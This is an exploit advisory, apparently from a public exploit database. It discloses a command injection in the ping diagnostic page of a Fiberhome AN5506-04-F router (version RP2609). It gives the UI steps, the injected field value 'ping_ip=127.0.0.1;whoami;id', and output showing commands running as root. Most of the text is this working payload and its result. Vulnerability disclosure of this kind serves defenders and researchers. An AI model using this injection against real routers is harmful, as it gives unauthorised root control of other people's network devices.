# Exploit Title: Fiberhome an5506-04-f – -PING- COMMAND INJECTION # Date: 03.10.2017 # Exploit Author: Tauco # Vendor Homepage: http://hk.fiberhomegroup.com # Version: RP2609 # Tested on: Windows 10 Description: =========================================================================== Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. https://www.owasp.org/index.php/Command_Injection Proof of Concepts : ======================================= 1. Go to the Default Gateway 2. Open the application 3. Open diagnosis 4. Input command to the Destination Address 5. Click Ping ping_ip=127.0.0.1;whoami;id PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.617 ms 64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.259 ms 64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.215 ms 64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.214 ms 64 bytes from 127.0.0.1: seq=4 ttl=64 time=0.218 ms --- 127.0.0.1 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.214/0.304/0.617 ms root uid=0(root) gid=0 groups=0